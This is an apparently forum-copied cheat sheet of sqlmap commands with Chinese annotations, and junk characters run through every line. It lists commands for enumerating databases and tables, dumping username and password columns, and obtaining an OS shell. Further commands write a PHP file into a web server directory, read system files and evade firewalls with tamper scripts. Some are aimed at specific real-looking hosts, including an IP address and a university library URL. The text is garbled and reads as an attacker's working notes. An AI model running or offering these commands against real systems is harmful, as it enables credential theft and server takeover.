/pentest/database/sqlmap K% i l$ s X; \
; {1 q+ F' |- n( L
update :::::> in the folder after execute following order : svn update/ q: p. W' }& g* d. L
# N, M% y8 j" M+ Asqlmap.py -r 1.txt --current-db
& i" B- \; b- F7 Y% E" X. C
7 Q7 f2 d. Q2 f: v0 U" c5 Yv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”3 C& u: V P, E
1 X9 X! e9 H" {5 Q==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
, g; @5 Y. d* n: l# I# e" i猜解数据库$ t( m, t( S3 l' g" y
./sqlmap.py -u "injection-url" --dbs
# J8 U1 c# A0 R3 a7 a1 `sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
0 j7 \8 Q0 c6 c( w) s& z g* j2 q9 ~( ]
猜解表名8 \( N! i7 S" w' \& \( l
./sqlmap.py -u "injection-url" -D database_name --tables
- A* n# o4 j% P& E
! X( i" w" o+ O. x9 i( J- Wsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"5 ]5 a+ v' L$ _' l
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py" . _6 U( }! ~/ N8 A4 H; A
+ N$ p, b# s# G0 k
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
7 n2 k: `4 Y6 O6 [. J7 Q- _* D- A/ I% t# X+ R2 W i
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
& a1 O2 R8 B% W4 }" v7 Ksqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
# [2 s1 O* d# v* }4 _7 vsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" : e. W# ?' ]+ Q# H' t( x
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
" W) Y# {+ N4 ^3 H0 V1 \' q- E$ a3 L7 g) {6 @6 Z: o5 }* `
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
$ u3 h. a6 w! e# N( y9 s: X$ esqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py" }- G- T( ~5 P7 ^* D+ m. n
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"2 ~) W: x( J1 B5 _/ }
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
3 k) D5 s3 H1 W* O8 @; bsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
# g2 d) s: D# J. y5 w# u+ }0 H: x! U5 {8 Q# F' z; f* ?! ?
sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
) O4 H% h1 b5 @+ h% [sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
& p/ l) h- D N9 V! [
" X% d- i% ]# }3 F& n( u& z, s. Zsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
: v4 ?) h. a7 J( y& a猜解列名
6 I* {, c) r4 x3 h" B./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
2 d2 Y! _2 L) N$ `% R3 {6 N- B& T/ R7 }
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" 5 p; q2 {4 O6 x7 z4 R1 C0 \
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" , c* \0 T" p$ G" s: N
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
9 j, T( ^* e' D4 O* ^& u
: V9 l: V' C5 I, ~" Vsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"3 q6 @8 j) N1 N
&submit=Go
# \1 ^; U4 n D' \# d: g" h猜解值
9 A7 v6 G d) N1 a! v, D0 T6 O. k./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump3 z2 [+ B# C3 b. ^3 p1 a) {, w
========================================================) S; X Y/ I9 a8 g
搜索表名中包括mana字符的5 A/ F$ C. D. {9 G- n. P1 U2 N) A" S# H% \
/sqlmap.py -u "injection-url" -T mana --search
) c% z' j# r; A# m返回一个交互式sql shell& J- A0 R% g7 g
/sqlmap.py -u "injection-url" --sql-shell
: X! \% K; ]5 o读取指定文件(需权限)% y( b3 |4 h- _ U' w- C" B4 u& m8 c
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
, u$ |4 }3 u( u W9 Y. S* t查看当前 用户 及 数据库 $ g, L, \) ~, q5 U( G; G6 a4 V
/sqlmap.py -u "injection-url" --current-user --current-db
6 j ~5 o; o8 b8 C% ~. x本地文件 写入 远程目标绝对路径/ F' P+ ]/ E/ f
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径- [2 E# O3 ?+ z
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
* [, h- S0 o+ ]/ d# B4 C; G; I) s* Y$ v
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
6 d3 ~' i9 { Q3 s$ H6 R查看某用的权限0 c3 m2 ?7 `% D
/sqlmap.py -u "injection-url" --privileges -U root' @" w" i8 z9 h( I3 s" U
查看当前用户是否为dba) b: i6 X5 p3 H$ q1 K0 _2 o
/sqlmap.py -u "injection-url" --is-dba2 P2 \8 G' k* G1 n3 S' u R8 b/ I4 P
读取所有数据库用户或指定数据库用户的密码
% z& ^, x$ R* [ I- T/ q6 Bsqlmap.py -r 1.txt --users --passwords: H; F! u- g$ j0 g
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
8 R% s, p4 y T2 K6 z0 P+ v+ n
/sqlmap.py -u "injection-url" --passwords -U root3 T* X6 d5 L. v
$ n, E9 u8 j: d" `, i/ |
--start&&--stop 与 --first&&--last 的区别
: d8 l8 ^+ Q& g% _" R( A, q2 n8 E4 r) @/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
* q. j* V1 w; b( Q% o3 W* j/ Y( Q" L1 e, u5 n; T
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)) {. c9 ^0 Z# e& }; U, s
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables/ I4 g' W$ |* b/ e' `
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
; f$ O) y; [& h% ~/ s$ g* w0 V3 I3 K; o9 f3 O5 E4 a3 U
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
: j- z7 w: t l3 K0 H' E( m0 u/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"4 R9 |* s7 W; a+ S
+ Q7 Q5 N3 F- Q% S$ y
|